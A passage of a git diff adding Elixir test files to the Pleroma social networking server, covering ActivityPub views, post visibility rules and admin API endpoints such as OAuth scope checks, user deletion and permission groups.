and published data" do + assert %{ + "context" => "pleroma:fakecontext", + "context_id" => -1, + "id" => "pleroma:fakeid", + "published" => _ + } = Utils.lazy_put_activity_defaults(%{}, true) + end + + test "returns activity data with object" do + note_activity = insert(:note_activity) + object = Object.normalize(note_activity) + + res = + Utils.lazy_put_activity_defaults(%{ + "context" => object.data["id"], + "object" => %{} + }) + + assert res["context"] == object.data["id"] + assert res["context_id"] == object.id + assert res["id"] + assert res["published"] + assert res["object"]["id"] + assert res["object"]["published"] + assert res["object"]["context"] == object.data["id"] + assert res["object"]["context_id"] == object.id + end + end + + describe "make_flag_data" do + test "returns empty map when params is invalid" do + assert Utils.make_flag_data(%{}, %{}) == %{} + end + + test "returns map with Flag object" do + reporter = insert(:user) + target_account = insert(:user) + {:ok, activity} = CommonAPI.post(target_account, %{status: "foobar"}) + context = Utils.generate_context_id() + content = "foobar" + + target_ap_id = target_account.ap_id + activity_ap_id = activity.data["id"] + + res = + Utils.make_flag_data( + %{ + actor: reporter, + context: context, + account: target_account, + statuses: [%{"id" => activity.data["id"]}], + content: content + }, + %{} + ) + + note_obj = %{ + "type" => "Note", + "id" => activity_ap_id, + "content" => content, + "published" => activity.object.data["published"], + "actor" => + AccountView.render("show.json", %{user: target_account, skip_visibility_check: true}) + } + + assert %{ + "type" => "Flag", + "content" => ^content, + "context" => ^context, + "object" => [^target_ap_id, ^note_obj], + "state" => "open" + } = res + end + end + + describe "add_announce_to_object/2" do + test "adds actor to announcement" do + user = insert(:user) + object = insert(:note) + + activity = + insert(:note_activity, + data: %{ + "actor" => user.ap_id, + "cc" => [Pleroma.Constants.as_public()] + } + ) + + assert {:ok, updated_object} = Utils.add_announce_to_object(activity, object) + assert updated_object.data["announcements"] == [user.ap_id] + assert updated_object.data["announcement_count"] == 1 + end + end + + describe "remove_announce_from_object/2" do + test "removes actor from announcements" do + user = insert(:user) + user2 = insert(:user) + + object = + insert(:note, + data: %{"announcements" => [user.ap_id, user2.ap_id], "announcement_count" => 2} + ) + + activity = insert(:note_activity, data: %{"actor" => user.ap_id}) + + assert {:ok, updated_object} = Utils.remove_announce_from_object(activity, object) + assert updated_object.data["announcements"] == [user2.ap_id] + assert updated_object.data["announcement_count"] == 1 + end + end + + describe "get_cached_emoji_reactions/1" do + test "returns the data or an emtpy list" do + object = insert(:note) + assert Utils.get_cached_emoji_reactions(object) == [] + + object = insert(:note, data: %{"reactions" => [["x", ["lain"]]]}) + assert Utils.get_cached_emoji_reactions(object) == [["x", ["lain"]]] + + object = insert(:note, data: %{"reactions" => %{}}) + assert Utils.get_cached_emoji_reactions(object) == [] + end + end +end diff --git a/test/pleroma/web/activity_pub/views/object_view_test.exs b/test/pleroma/web/activity_pub/views/object_view_test.exs new file mode 100644 index 000000000..f0389845d --- /dev/null +++ b/test/pleroma/web/activity_pub/views/object_view_test.exs @@ -0,0 +1,84 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectViewTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.ObjectView + alias Pleroma.Web.CommonAPI + + test "renders a note object" do + note = insert(:note) + + result = ObjectView.render("object.json", %{object: note}) + + assert result["id"] == note.data["id"] + assert result["to"] == note.data["to"] + assert result["content"] == note.data["content"] + assert result["type"] == "Note" + assert result["@context"] + end + + test "renders a note activity" do + note = insert(:note_activity) + object = Object.normalize(note) + + result = ObjectView.render("object.json", %{object: note}) + + assert result["id"] == note.data["id"] + assert result["to"] == note.data["to"] + assert result["object"]["type"] == "Note" + assert result["object"]["content"] == object.data["content"] + assert result["type"] == "Create" + assert result["@context"] + end + + describe "note activity's `replies` collection rendering" do + setup do: clear_config([:activitypub, :note_replies_output_limit], 5) + + test "renders `replies` collection for a note activity" do + user = insert(:user) + activity = insert(:note_activity, user: user) + + {:ok, self_reply1} = + CommonAPI.post(user, %{status: "self-reply 1", in_reply_to_status_id: activity.id}) + + replies_uris = [self_reply1.object.data["id"]] + result = ObjectView.render("object.json", %{object: refresh_record(activity)}) + + assert %{"type" => "Collection", "items" => ^replies_uris} = + get_in(result, ["object", "replies"]) + end + end + + test "renders a like activity" do + note = insert(:note_activity) + object = Object.normalize(note) + user = insert(:user) + + {:ok, like_activity} = CommonAPI.favorite(user, note.id) + + result = ObjectView.render("object.json", %{object: like_activity}) + + assert result["id"] == like_activity.data["id"] + assert result["object"] == object.data["id"] + assert result["type"] == "Like" + end + + test "renders an announce activity" do + note = insert(:note_activity) + object = Object.normalize(note) + user = insert(:user) + + {:ok, announce_activity} = CommonAPI.repeat(note.id, user) + + result = ObjectView.render("object.json", %{object: announce_activity}) + + assert result["id"] == announce_activity.data["id"] + assert result["object"] == object.data["id"] + assert result["type"] == "Announce" + end +end diff --git a/test/pleroma/web/activity_pub/views/user_view_test.exs b/test/pleroma/web/activity_pub/views/user_view_test.exs new file mode 100644 index 000000000..98c7c9d09 --- /dev/null +++ b/test/pleroma/web/activity_pub/views/user_view_test.exs @@ -0,0 +1,180 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.UserViewTest do + use Pleroma.DataCase + import Pleroma.Factory + + alias Pleroma.User + alias Pleroma.Web.ActivityPub.UserView + alias Pleroma.Web.CommonAPI + + test "Renders a user, including the public key" do + user = insert(:user) + {:ok, user} = User.ensure_keys_present(user) + + result = UserView.render("user.json", %{user: user}) + + assert result["id"] == user.ap_id + assert result["preferredUsername"] == user.nickname + + assert String.contains?(result["publicKey"]["publicKeyPem"], "BEGIN PUBLIC KEY") + end + + test "Renders profile fields" do + fields = [ + %{"name" => "foo", "value" => "bar"} + ] + + {:ok, user} = + insert(:user) + |> User.update_changeset(%{fields: fields}) + |> User.update_and_set_cache() + + assert %{ + "attachment" => [%{"name" => "foo", "type" => "PropertyValue", "value" => "bar"}] + } = UserView.render("user.json", %{user: user}) + end + + test "Renders with emoji tags" do + user = insert(:user, emoji: %{"bib" => "/test"}) + + assert %{ + "tag" => [ + %{ + "icon" => %{"type" => "Image", "url" => "/test"}, + "id" => "/test", + "name" => ":bib:", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z" + } + ] + } = UserView.render("user.json", %{user: user}) + end + + test "Does not add an avatar image if the user hasn't set one" do + user = insert(:user) + {:ok, user} = User.ensure_keys_present(user) + + result = UserView.render("user.json", %{user: user}) + refute result["icon"] + refute result["image"] + + user = + insert(:user, + avatar: %{"url" => [%{"href" => "https://someurl"}]}, + banner: %{"url" => [%{"href" => "https://somebanner"}]} + ) + + {:ok, user} = User.ensure_keys_present(user) + + result = UserView.render("user.json", %{user: user}) + assert result["icon"]["url"] == "https://someurl" + assert result["image"]["url"] == "https://somebanner" + end + + test "renders an invisible user with the invisible property set to true" do + user = insert(:user, invisible: true) + + assert %{"invisible" => true} = UserView.render("service.json", %{user: user}) + end + + describe "endpoints" do + test "local users have a usable endpoints structure" do + user = insert(:user) + {:ok, user} = User.ensure_keys_present(user) + + result = UserView.render("user.json", %{user: user}) + + assert result["id"] == user.ap_id + + %{ + "sharedInbox" => _, + "oauthAuthorizationEndpoint" => _, + "oauthRegistrationEndpoint" => _, + "oauthTokenEndpoint" => _ + } = result["endpoints"] + end + + test "remote users have an empty endpoints structure" do + user = insert(:user, local: false) + {:ok, user} = User.ensure_keys_present(user) + + result = UserView.render("user.json", %{user: user}) + + assert result["id"] == user.ap_id + assert result["endpoints"] == %{} + end + + test "instance users do not expose oAuth endpoints" do + user = insert(:user, nickname: nil, local: true) + {:ok, user} = User.ensure_keys_present(user) + + result = UserView.render("user.json", %{user: user}) + + refute result["endpoints"]["oauthAuthorizationEndpoint"] + refute result["endpoints"]["oauthRegistrationEndpoint"] + refute result["endpoints"]["oauthTokenEndpoint"] + end + end + + describe "followers" do + test "sets totalItems to zero when followers are hidden" do + user = insert(:user) + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) + user = Map.merge(user, %{hide_followers_count: true, hide_followers: true}) + refute UserView.render("followers.json", %{user: user}) |> Map.has_key?("totalItems") + end + + test "sets correct totalItems when followers are hidden but the follower counter is not" do + user = insert(:user) + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) + user = Map.merge(user, %{hide_followers_count: false, hide_followers: true}) + assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user}) + end + end + + describe "following" do + test "sets totalItems to zero when follows are hidden" do + user = insert(:user) + other_user = insert(:user) + {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user) + assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) + user = Map.merge(user, %{hide_follows_count: true, hide_follows: true}) + assert %{"totalItems" => 0} = UserView.render("following.json", %{user: user}) + end + + test "sets correct totalItems when follows are hidden but the follow counter is not" do + user = insert(:user) + other_user = insert(:user) + {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user) + assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) + user = Map.merge(user, %{hide_follows_count: false, hide_follows: true}) + assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user}) + end + end + + describe "acceptsChatMessages" do + test "it returns this value if it is set" do + true_user = insert(:user, accepts_chat_messages: true) + false_user = insert(:user, accepts_chat_messages: false) + nil_user = insert(:user, accepts_chat_messages: nil) + + assert %{"capabilities" => %{"acceptsChatMessages" => true}} = + UserView.render("user.json", user: true_user) + + assert %{"capabilities" => %{"acceptsChatMessages" => false}} = + UserView.render("user.json", user: false_user) + + refute Map.has_key?( + UserView.render("user.json", user: nil_user)["capabilities"], + "acceptsChatMessages" + ) + end + end +end diff --git a/test/pleroma/web/activity_pub/visibility_test.exs b/test/pleroma/web/activity_pub/visibility_test.exs new file mode 100644 index 000000000..8e9354c65 --- /dev/null +++ b/test/pleroma/web/activity_pub/visibility_test.exs @@ -0,0 +1,230 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.VisibilityTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Web.ActivityPub.Visibility + alias Pleroma.Web.CommonAPI + import Pleroma.Factory + + setup do + user = insert(:user) + mentioned = insert(:user) + following = insert(:user) + unrelated = insert(:user) + {:ok, following} = Pleroma.User.follow(following, user) + {:ok, list} = Pleroma.List.create("foo", user) + + Pleroma.List.follow(list, unrelated) + + {:ok, public} = + CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "public"}) + + {:ok, private} = + CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "private"}) + + {:ok, direct} = + CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "direct"}) + + {:ok, unlisted} = + CommonAPI.post(user, %{status: "@#{mentioned.nickname}", visibility: "unlisted"}) + + {:ok, list} = + CommonAPI.post(user, %{ + status: "@#{mentioned.nickname}", + visibility: "list:#{list.id}" + }) + + %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + user: user, + mentioned: mentioned, + following: following, + unrelated: unrelated, + list: list + } + end + + test "is_direct?", %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + list: list + } do + assert Visibility.is_direct?(direct) + refute Visibility.is_direct?(public) + refute Visibility.is_direct?(private) + refute Visibility.is_direct?(unlisted) + assert Visibility.is_direct?(list) + end + + test "is_public?", %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + list: list + } do + refute Visibility.is_public?(direct) + assert Visibility.is_public?(public) + refute Visibility.is_public?(private) + assert Visibility.is_public?(unlisted) + refute Visibility.is_public?(list) + end + + test "is_private?", %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + list: list + } do + refute Visibility.is_private?(direct) + refute Visibility.is_private?(public) + assert Visibility.is_private?(private) + refute Visibility.is_private?(unlisted) + refute Visibility.is_private?(list) + end + + test "is_list?", %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + list: list + } do + refute Visibility.is_list?(direct) + refute Visibility.is_list?(public) + refute Visibility.is_list?(private) + refute Visibility.is_list?(unlisted) + assert Visibility.is_list?(list) + end + + test "visible_for_user?", %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + user: user, + mentioned: mentioned, + following: following, + unrelated: unrelated, + list: list + } do + # All visible to author + + assert Visibility.visible_for_user?(public, user) + assert Visibility.visible_for_user?(private, user) + assert Visibility.visible_for_user?(unlisted, user) + assert Visibility.visible_for_user?(direct, user) + assert Visibility.visible_for_user?(list, user) + + # All visible to a mentioned user + + assert Visibility.visible_for_user?(public, mentioned) + assert Visibility.visible_for_user?(private, mentioned) + assert Visibility.visible_for_user?(unlisted, mentioned) + assert Visibility.visible_for_user?(direct, mentioned) + assert Visibility.visible_for_user?(list, mentioned) + + # DM not visible for just follower + + assert Visibility.visible_for_user?(public, following) + assert Visibility.visible_for_user?(private, following) + assert Visibility.visible_for_user?(unlisted, following) + refute Visibility.visible_for_user?(direct, following) + refute Visibility.visible_for_user?(list, following) + + # Public and unlisted visible for unrelated user + + assert Visibility.visible_for_user?(public, unrelated) + assert Visibility.visible_for_user?(unlisted, unrelated) + refute Visibility.visible_for_user?(private, unrelated) + refute Visibility.visible_for_user?(direct, unrelated) + + # Visible for a list member + assert Visibility.visible_for_user?(list, unrelated) + end + + test "doesn't die when the user doesn't exist", + %{ + direct: direct, + user: user + } do + Repo.delete(user) + Cachex.clear(:user_cache) + refute Visibility.is_private?(direct) + end + + test "get_visibility", %{ + public: public, + private: private, + direct: direct, + unlisted: unlisted, + list: list + } do + assert Visibility.get_visibility(public) == "public" + assert Visibility.get_visibility(private) == "private" + assert Visibility.get_visibility(direct) == "direct" + assert Visibility.get_visibility(unlisted) == "unlisted" + assert Visibility.get_visibility(list) == "list" + end + + test "get_visibility with directMessage flag" do + assert Visibility.get_visibility(%{data: %{"directMessage" => true}}) == "direct" + end + + test "get_visibility with listMessage flag" do + assert Visibility.get_visibility(%{data: %{"listMessage" => ""}}) == "list" + end + + describe "entire_thread_visible_for_user?/2" do + test "returns false if not found activity", %{user: user} do + refute Visibility.entire_thread_visible_for_user?(%Activity{}, user) + end + + test "returns true if activity hasn't 'Create' type", %{user: user} do + activity = insert(:like_activity) + assert Visibility.entire_thread_visible_for_user?(activity, user) + end + + test "returns false when invalid recipients", %{user: user} do + author = insert(:user) + + activity = + insert(:note_activity, + note: + insert(:note, + user: author, + data: %{"to" => ["test-user"]} + ) + ) + + refute Visibility.entire_thread_visible_for_user?(activity, user) + end + + test "returns true if user following to author" do + author = insert(:user) + user = insert(:user) + Pleroma.User.follow(user, author) + + activity = + insert(:note_activity, + note: + insert(:note, + user: author, + data: %{"to" => [user.ap_id]} + ) + ) + + assert Visibility.entire_thread_visible_for_user?(activity, user) + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/admin_api_controller_test.exs b/test/pleroma/web/admin_api/controllers/admin_api_controller_test.exs new file mode 100644 index 000000000..cba6b43d3 --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/admin_api_controller_test.exs @@ -0,0 +1,2034 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do + use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo + + import ExUnit.CaptureLog + import Mock + import Pleroma.Factory + import Swoosh.TestAssertions + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.HTML + alias Pleroma.MFA + alias Pleroma.ModerationLog + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web + alias Pleroma.Web.ActivityPub.Relay + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MediaProxy + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + + :ok + end + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + test "with valid `admin_token` query parameter, skips OAuth scopes check" do + clear_config([:admin_token], "password123") + + user = insert(:user) + + conn = get(build_conn(), "/api/pleroma/admin/users/#{user.nickname}?admin_token=password123") + + assert json_response(conn, 200) + end + + describe "with [:auth, :enforce_oauth_admin_scope_usage]," do + setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], true) + + test "GET /api/pleroma/admin/users/:nickname requires admin:read:accounts or broader scope", + %{admin: admin} do + user = insert(:user) + url = "/api/pleroma/admin/users/#{user.nickname}" + + good_token1 = insert(:oauth_token, user: admin, scopes: ["admin"]) + good_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read"]) + good_token3 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts"]) + + bad_token1 = insert(:oauth_token, user: admin, scopes: ["read:accounts"]) + bad_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts:partial"]) + bad_token3 = nil + + for good_token <- [good_token1, good_token2, good_token3] do + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, good_token) + |> get(url) + + assert json_response(conn, 200) + end + + for good_token <- [good_token1, good_token2, good_token3] do + conn = + build_conn() + |> assign(:user, nil) + |> assign(:token, good_token) + |> get(url) + + assert json_response(conn, :forbidden) + end + + for bad_token <- [bad_token1, bad_token2, bad_token3] do + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, bad_token) + |> get(url) + + assert json_response(conn, :forbidden) + end + end + end + + describe "unless [:auth, :enforce_oauth_admin_scope_usage]," do + setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) + + test "GET /api/pleroma/admin/users/:nickname requires " <> + "read:accounts or admin:read:accounts or broader scope", + %{admin: admin} do + user = insert(:user) + url = "/api/pleroma/admin/users/#{user.nickname}" + + good_token1 = insert(:oauth_token, user: admin, scopes: ["admin"]) + good_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read"]) + good_token3 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts"]) + good_token4 = insert(:oauth_token, user: admin, scopes: ["read:accounts"]) + good_token5 = insert(:oauth_token, user: admin, scopes: ["read"]) + + good_tokens = [good_token1, good_token2, good_token3, good_token4, good_token5] + + bad_token1 = insert(:oauth_token, user: admin, scopes: ["read:accounts:partial"]) + bad_token2 = insert(:oauth_token, user: admin, scopes: ["admin:read:accounts:partial"]) + bad_token3 = nil + + for good_token <- good_tokens do + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, good_token) + |> get(url) + + assert json_response(conn, 200) + end + + for good_token <- good_tokens do + conn = + build_conn() + |> assign(:user, nil) + |> assign(:token, good_token) + |> get(url) + + assert json_response(conn, :forbidden) + end + + for bad_token <- [bad_token1, bad_token2, bad_token3] do + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, bad_token) + |> get(url) + + assert json_response(conn, :forbidden) + end + end + end + + describe "DELETE /api/pleroma/admin/users" do + test "single user", %{admin: admin, conn: conn} do + clear_config([:instance, :federating], true) + + user = + insert(:user, + avatar: %{"url" => [%{"href" => "https://someurl"}]}, + banner: %{"url" => [%{"href" => "https://somebanner"}]}, + bio: "Hello world!", + name: "A guy" + ) + + # Create some activities to check they got deleted later + follower = insert(:user) + {:ok, _} = CommonAPI.post(user, %{status: "test"}) + {:ok, _, _, _} = CommonAPI.follow(user, follower) + {:ok, _, _, _} = CommonAPI.follow(follower, user) + user = Repo.get(User, user.id) + assert user.note_count == 1 + assert user.follower_count == 1 + assert user.following_count == 1 + refute user.deactivated + + with_mock Pleroma.Web.Federator, + publish: fn _ -> nil end, + perform: fn _, _ -> nil end do + conn = + conn + |> put_req_header("accept", "application/json") + |> delete("/api/pleroma/admin/users?nickname=#{user.nickname}") + + ObanHelpers.perform_all() + + assert User.get_by_nickname(user.nickname).deactivated + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deleted users: @#{user.nickname}" + + assert json_response(conn, 200) == [user.nickname] + + user = Repo.get(User, user.id) + assert user.deactivated + + assert user.avatar == %{} + assert user.banner == %{} + assert user.note_count == 0 + assert user.follower_count == 0 + assert user.following_count == 0 + assert user.bio == "" + assert user.name == nil + + assert called(Pleroma.Web.Federator.publish(:_)) + end + end + + test "multiple users", %{admin: admin, conn: conn} do + user_one = insert(:user) + user_two = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> delete("/api/pleroma/admin/users", %{ + nicknames: [user_one.nickname, user_two.nickname] + }) + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deleted users: @#{user_one.nickname}, @#{user_two.nickname}" + + response = json_response(conn, 200) + assert response -- [user_one.nickname, user_two.nickname] == [] + end + end + + describe "/api/pleroma/admin/users" do + test "Create", %{conn: conn} do + conn = + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users", %{ + "users" => [ + %{ + "nickname" => "lain", + "email" => "lain@example.org", + "password" => "test" + }, + %{ + "nickname" => "lain2", + "email" => "lain2@example.org", + "password" => "test" + } + ] + }) + + response = json_response(conn, 200) |> Enum.map(&Map.get(&1, "type")) + assert response == ["success", "success"] + + log_entry = Repo.one(ModerationLog) + + assert ["lain", "lain2"] -- Enum.map(log_entry.data["subjects"], & &1["nickname"]) == [] + end + + test "Cannot create user with existing email", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users", %{ + "users" => [ + %{ + "nickname" => "lain", + "email" => user.email, + "password" => "test" + } + ] + }) + + assert json_response(conn, 409) == [ + %{ + "code" => 409, + "data" => %{ + "email" => user.email, + "nickname" => "lain" + }, + "error" => "email has already been taken", + "type" => "error" + } + ] + end + + test "Cannot create user with existing nickname", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users", %{ + "users" => [ + %{ + "nickname" => user.nickname, + "email" => "someuser@plerama.social", + "password" => "test" + } + ] + }) + + assert json_response(conn, 409) == [ + %{ + "code" => 409, + "data" => %{ + "email" => "someuser@plerama.social", + "nickname" => user.nickname + }, + "error" => "nickname has already been taken", + "type" => "error" + } + ] + end + + test "Multiple user creation works in transaction", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users", %{ + "users" => [ + %{ + "nickname" => "newuser", + "email" => "newuser@pleroma.social", + "password" => "test" + }, + %{ + "nickname" => "lain", + "email" => user.email, + "password" => "test" + } + ] + }) + + assert json_response(conn, 409) == [ + %{ + "code" => 409, + "data" => %{ + "email" => user.email, + "nickname" => "lain" + }, + "error" => "email has already been taken", + "type" => "error" + }, + %{ + "code" => 409, + "data" => %{ + "email" => "newuser@pleroma.social", + "nickname" => "newuser" + }, + "error" => "", + "type" => "error" + } + ] + + assert User.get_by_nickname("newuser") === nil + end + end + + describe "/api/pleroma/admin/users/:nickname" do + test "Show", %{conn: conn} do + user = insert(:user) + + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}") + + expected = %{ + "deactivated" => false, + "id" => to_string(user.id), + "local" => true, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + + assert expected == json_response(conn, 200) + end + + test "when the user doesn't exist", %{conn: conn} do + user = build(:user) + + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}") + + assert %{"error" => "Not found"} == json_response(conn, 404) + end + end + + describe "/api/pleroma/admin/users/follow" do + test "allows to force-follow another user", %{admin: admin, conn: conn} do + user = insert(:user) + follower = insert(:user) + + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users/follow", %{ + "follower" => follower.nickname, + "followed" => user.nickname + }) + + user = User.get_cached_by_id(user.id) + follower = User.get_cached_by_id(follower.id) + + assert User.following?(follower, user) + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} made @#{follower.nickname} follow @#{user.nickname}" + end + end + + describe "/api/pleroma/admin/users/unfollow" do + test "allows to force-unfollow another user", %{admin: admin, conn: conn} do + user = insert(:user) + follower = insert(:user) + + User.follow(follower, user) + + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users/unfollow", %{ + "follower" => follower.nickname, + "followed" => user.nickname + }) + + user = User.get_cached_by_id(user.id) + follower = User.get_cached_by_id(follower.id) + + refute User.following?(follower, user) + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} made @#{follower.nickname} unfollow @#{user.nickname}" + end + end + + describe "PUT /api/pleroma/admin/users/tag" do + setup %{conn: conn} do + user1 = insert(:user, %{tags: ["x"]}) + user2 = insert(:user, %{tags: ["y"]}) + user3 = insert(:user, %{tags: ["unchanged"]}) + + conn = + conn + |> put_req_header("accept", "application/json") + |> put( + "/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=" <> + "#{user2.nickname}&tags[]=foo&tags[]=bar" + ) + + %{conn: conn, user1: user1, user2: user2, user3: user3} + end + + test "it appends specified tags to users with specified nicknames", %{ + conn: conn, + admin: admin, + user1: user1, + user2: user2 + } do + assert empty_json_response(conn) + assert User.get_cached_by_id(user1.id).tags == ["x", "foo", "bar"] + assert User.get_cached_by_id(user2.id).tags == ["y", "foo", "bar"] + + log_entry = Repo.one(ModerationLog) + + users = + [user1.nickname, user2.nickname] + |> Enum.map(&"@#{&1}") + |> Enum.join(", ") + + tags = ["foo", "bar"] |> Enum.join(", ") + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} added tags: #{tags} to users: #{users}" + end + + test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do + assert empty_json_response(conn) + assert User.get_cached_by_id(user3.id).tags == ["unchanged"] + end + end + + describe "DELETE /api/pleroma/admin/users/tag" do + setup %{conn: conn} do + user1 = insert(:user, %{tags: ["x"]}) + user2 = insert(:user, %{tags: ["y", "z"]}) + user3 = insert(:user, %{tags: ["unchanged"]}) + + conn = + conn + |> put_req_header("accept", "application/json") + |> delete( + "/api/pleroma/admin/users/tag?nicknames[]=#{user1.nickname}&nicknames[]=" <> + "#{user2.nickname}&tags[]=x&tags[]=z" + ) + + %{conn: conn, user1: user1, user2: user2, user3: user3} + end + + test "it removes specified tags from users with specified nicknames", %{ + conn: conn, + admin: admin, + user1: user1, + user2: user2 + } do + assert empty_json_response(conn) + assert User.get_cached_by_id(user1.id).tags == [] + assert User.get_cached_by_id(user2.id).tags == ["y"] + + log_entry = Repo.one(ModerationLog) + + users = + [user1.nickname, user2.nickname] + |> Enum.map(&"@#{&1}") + |> Enum.join(", ") + + tags = ["x", "z"] |> Enum.join(", ") + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} removed tags: #{tags} from users: #{users}" + end + + test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do + assert empty_json_response(conn) + assert User.get_cached_by_id(user3.id).tags == ["unchanged"] + end + end + + describe "/api/pleroma/admin/users/:nickname/permission_group" do + test "GET is giving user_info", %{admin: admin, conn: conn} do + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/api/pleroma/admin/users/#{admin.nickname}/permission_group/") + + assert json_response(conn, 200) == %{ + "is_admin" => true, + "is_moderator" => false + } + end + + test "/:right POST, can add to a permission group", %{admin: admin, conn: conn} do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users/#{user.nickname}/permission_group/admin") + + assert json_response(conn, 200) == %{ + "is_admin" => true + } + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} made @#{user.nickname} admin" + end + + test "/:right POST, can add to a permission group (multiple)", %{admin: admin, conn: conn} do + user_one = insert(:user) + user_two = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> post("/api/pleroma/admin/users/permission_group/admin", %{ + nicknames: [user_one.nickname, user_two.nickname] + }) + + assert json_response(conn, 200) == %{"is_admin" => true} + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} made @#{user_one.nickname}, @#{user_two.nickname} admin" + end + + test "/:right DELETE, can remove from a permission group", %{admin: admin, conn: conn} do + user = insert(:user, is_admin: true) + + conn = + conn + |> put_req_header("accept", "application/json") + |> delete("/api/pleroma/admin/users/#{user.nickname}/permission_group/admin") + + assert json_response(conn, 200) == %{"is_admin" => false} + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} revoked admin role from @#{user.nickname}" + end + + test "/:right DELETE, can remove from a permission group (multiple)", %{ + admin: admin, + conn: conn + } do + user_one = insert(:user, is_admin: true) + user_two = insert(:user, is_admin: true) + + conn = + conn + |> put_req_header("accept", "application/json") + |> delete("/api/pleroma/admin/users/permission_group/admin", %{ + nicknames: [user_one.nickname, user_two.nickname] + }) + + assert json_response(conn, 200) == %{"is_admin" => false} + + log_entry = Repo.one(ModerationLog) + + assert 